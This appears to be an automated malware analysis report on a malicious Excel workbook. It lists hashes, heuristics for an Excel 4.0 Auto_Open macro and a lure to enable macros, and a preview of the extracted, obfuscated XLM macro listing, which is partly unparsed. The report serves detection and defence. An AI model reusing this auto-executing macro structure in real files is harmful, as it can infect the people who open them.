Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27291262f3841936…

MALICIOUS

Office (OLE)

31.0 KB Created: 2021-01-28 12:13:08 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 0f2a908c9798136732435a064809c142 SHA-1: de2e899e5e1df56833deddda4787e1c0f48f3df3 SHA-256: 27291262f3841936aeb7eee85eebe3f7b68712b88d997d818e442b7942bca488
160 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3266 bytes
SHA-256: ef28fc5dc778082d8e03cf6b22f85b2cb6e743de571fdd2acc9b96777c143bb8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  guMc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H136 
' 0018     30 LABEL : Cell Value, String Constant - brAYpiwv len=7 ptgRef3d  guMc!F57 
' 0018     22 LABEL : Cell Value, String Constant - bryD len=3 ptgInt 0 
' 0018     26 LABEL : Cell Value, String Constant - cdEbVhTM len=3 ptgInt 0 
' 0018    122 LABEL : Cell Value, String Constant - dShUDg len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018     34 LABEL : Cell Value, String Constant - EVcVpdhEuOXj len=7 ptgRef3d  Sheet!H78 
' 0018     29 LABEL : Cell Value, String Constant - fcoxJUZ len=7 ptgRef3d  guMc!C50 
' 0018     21 LABEL : Cell Value, String Constant - FdLUKp len=0 
' 0018     29 LABEL : Cell Value, String Constant - FfFWorV len=7 ptgRef3d  guMc!G48 
' 0018     25 LABEL : Cell Value, String Constant - GDUskWW len=3 ptgInt 0 
' 0018     27 LABEL : Cell Value, String Constant - gqjXs len=7 ptgRef3d  guMc!H57 
' 0018     22 LABEL : Cell Value, String Constant - JdYl len=3 ptgInt 0 
' 0018     27 LABEL : Cell Value, String Constant - lrSRD len=7 ptgRef3d  guMc!E56 
' 0018     29 LABEL : Cell Value, String Constant - mYXfEHg len=7 ptgRef3d  guMc!B53 
' 0018   2070 LABEL : Cell Value, String Constant - OQYDtqd len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - OyrDAfW len=7 ptgRef3d  guMc!D45 
' 0018     26 LABEL : Cell Value, String Constant - QuGc len=7 ptgRef3d  guMc!A52 
' 0018    570 LABEL : Cell Value, String Constant - RyuINXgU len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - ufBv len=7 ptgRef3d  guMc!J44 
' 0018     29 LABEL : Cell Value, String Constant - vqSOZyA len=7 ptgRef3d  guMc!I49 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,J43,"ABC",""
'  Sheet,D44,"ABC",""
'  Sheet,J44,[],""
'  Sheet,D45,[],""
'  Sheet,G47,"ABC",""
'  Sheet,G48,dShUDg,""
'  Sheet,I48,"ABC",""
'  Sheet,C49,"ABC",""
'  Sheet,I49,[],""
'  Sheet,C50,RyuINXgU,""
'  Sheet,A51,"ABC",""
'  Sheet,A52,ROWS(RyuINXgU),""
'  Sheet,B52,"ABC",""
'  Sheet,B53,ROWS(dShUDg),""
'  Sheet,E55,"ABC",""
'  Sheet,E56,[],""
'  Sheet,F56,"ABC",""
'  Sheet,H56,"ABC",""
'  Sheet,F57,[],""
'  Sheet,H57,[],""
'  guMc,H79,"A"&"B",""
'  guMc,H80,[],""
'  guMc,H85,"SET.VALUE(H117,"")",""
'  guMc,H90,"bryD",""
'  guMc,H92,"DEFINE.NAME("JdYl",0)",""
'  guMc,H94,[],""
'  guMc,H99,"JdYl",""
'  guMc,H103,"['H117', 'H117']",""
'  guMc,H108,"cdEbVhTM",""
'  guMc,H112,NEXT(),""
'  guMc,H122,"['H117', '"guMco!R"']",""
'  guMc,H127,"FdLUKp",""
'  guMc,H130,NEXT(),""
'  guMc,H133,RETURN(),""
'  guMc,H141,"DEFINE.NAME("FdLUKp",148)",""
'  guMc,H147,EVcVpdhEuOXj(),""
'  guMc,H148,HALT(),""